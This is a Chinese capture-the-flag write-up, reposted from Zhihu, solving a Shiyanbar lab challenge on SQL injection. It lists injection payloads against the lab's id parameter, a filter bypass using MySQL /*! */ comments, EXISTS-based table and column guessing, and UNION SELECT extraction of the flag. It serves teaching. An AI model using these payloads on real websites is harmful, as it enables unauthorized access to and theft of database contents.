作者:实验吧
链接:https://zhuanlan.zhihu.com/p/21458828
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
题目标题:简单的SQL注入
题目描述:通过注入获得flag值
解题链接:http://ctf5.shiyanbar.com/423/web/
就这样一道难度中等的CTF题目,居然难住了94%的人,你有没有信心要挑战一下?、
题目链接:
Pcat牛的writeup
第一步先随便提交1 也就是?id=1 得到 ID: 1 name: baloteli 提交?id=1' 报错 near ''1''' 这是好事,说明单引号可以影响sql语句。 提交?id=1' or ''=' 得到 ID: 1' or ''=' name: baloteli ID: 1' or ''=' name: kanawaluo ID: 1' or ''=' name: dengdeng 这里ID很明显是自己所注入的语句,只有name才是当前表里面的数据,这里可以留个心眼(当前表估计只查找一列) or没被干掉是万幸的万幸,接下来试试哪些关键字被干掉 试下and,提交?id=1' and 1=1 or''=' 报错,换大写也报错 既然被过滤掉了,就只能想想各种绕过法子 ?id=1' /*and*/ 1=1 or''=' 没用 ?id=1' /*!and*/ 1=1 or''=' 可以,这么走运就试出来可行法子 于是之后试了几个关键字,发现/*!关键字*/这样就可以绕过 -------- 猜表名 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''=' 报错Table 'web10.admin' doesn't exist 换flag猜下 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ flag) /*!and*/ ''=' 可以,那么就猜列名 ?id=' or /*!exists*/ (/*!select*/ id /*!from*/ flag) /*!and*/ ''=' ?id=' or /*!exists*/ (/*!select*/ name /*!from*/ flag) /*!and*/ ''=' 都可以 ----- 联合查询 ?id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''=' 报错The used SELECT statements have a different number of columns ?id=' /*!union*/ /*!select*/ 1 /*!from*/ flag /*!where*/ ''=' 可以,也证明一开始的猜想,当前表只查找一列 ?id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''=' 报错Unknowncolumn 'name' in 'field list' - - 这是大坑,明明之前exists判断出有name列,结果这里联合就报没有这个name列,出题人肯定又做了什么手脚。 最后就是换了个列名,换flag这个列就可以过了。 (语句就自己看上面)
WriteUp作者为实验吧用户Pcat,转载须注明来源。